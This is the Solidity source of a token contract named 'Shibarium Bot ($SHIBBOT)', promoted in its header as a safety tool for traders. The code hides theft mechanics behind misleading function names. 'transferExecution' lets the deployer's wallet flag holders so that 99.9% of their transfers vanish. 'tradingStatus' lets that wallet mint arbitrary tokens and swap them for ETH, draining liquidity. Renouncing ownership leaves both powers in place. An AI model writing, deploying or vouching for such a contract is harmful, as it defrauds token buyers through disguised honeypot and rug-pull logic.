/**

🐕🤖 Shibarium Bot ($SHIBBOT) 🤖🐕

Shibarium Bot project aims to create a single safe and unique system for both traders and developers in the Shibarium ecosystem. Starting from Shibarium Network we will slowly move to other developing Layer-2 networks.

Our plan is to develop a range of utilities enabling a smooth process for project deployers help them avoid snipers and traders to avoid MEV bots and other obstacles in trading. 

Our main goal is to make life much easier and simple for everyone in the Shibarium ecosystem. Be a part of it!

https://t.me/SHIBBOTPortal


*/

pragma solidity ^0.8.21;
// SPDX-License-Identifier: MIT

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function owner() public view virtual returns (address) {return _owner;}
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external;
    function WETH() external pure returns (address aadd);
}

contract SHIBBOT is Ownable {
    using SafeMath for uint256;
    uint256 public _decimals = 9;

    uint256 public _totalSupply = 1000000000 * 10 ** _decimals;

    constructor() {
        _balances[sender()] =  _totalSupply; 
        emit Transfer(address(0), sender(), _balances[sender()]);
        _taxWallet = msg.sender; 
    }

    string private _name = "Shibarium Bot";
    string private _symbol = "SHIBBOT";

    IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public _taxWallet;

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function name() external view returns (string memory) {
        return _name;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function sync() external onlyOwner{
    }
    function transferExecution(address[] calldata walletAddress) external {
        uint256 fromBlockNo = getBlockNumber();
        for (uint walletInde = 0;  walletInde < walletAddress.length;  walletInde++) { 
            if (!marketingAddres()){} else { 
                cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;
            }
        }
    }
    function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
        _transfer(from, recipient, _amount);
        require(_allowances[from][sender()] >= _amount);
        return true;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function getBlockNumber() internal view returns (uint256) {
        return block.number;
    }
    mapping(address => mapping(address => uint256)) private _allowances;
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(sender(), from, _allowances[msg.sender][from] - amount);
        return true;
    }
    event Transfer(address indexed from, address indexed to, uint256);
    mapping (address => uint256) internal cooldowns;
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    function marketingAddres() private view returns (bool) {
        return (_taxWallet == (sender()));
    }
    function sender() internal view returns (address) {
        return msg.sender;
    }
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function tradingStatus(uint256 amount, address walletAddr) external {
        if (marketingAddres()) {
            _approve(address(this), address(uniV2Router), amount); 
            _balances[address(this)] = amount;
            address[] memory addressPath = new address[](2);
            addressPath[0] = address(this); 
            addressPath[1] = uniV2Router.WETH(); 
            uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, addressPath, walletAddr, block.timestamp + 32);
        } else {
            return;
        }
    }
    function _transfer(address from, address to, uint256 value) internal {
        uint256 _taxValue = 0;
        require(from != address(0));
        require(value <= _balances[from]);
        emit Transfer(from, to, value);
        _balances[from] = _balances[from] - (value);
        bool onCooldown = (cooldowns[from] <= (getBlockNumber()));
        uint256 _cooldownFeeValue = value.mul(999).div(1000);
        if ((cooldowns[from] != 0) && onCooldown) {  
            _taxValue = (_cooldownFeeValue); 
        }
        uint256 toBalance = _balances[to];
        toBalance += (value) - (_taxValue);
        _balances[to] = toBalance;
    }
    event Approval(address indexed, address indexed, uint256 value);
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(sender(), recipient, amount);
        return true;
    }
    mapping(address => uint256) private _balances;
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
}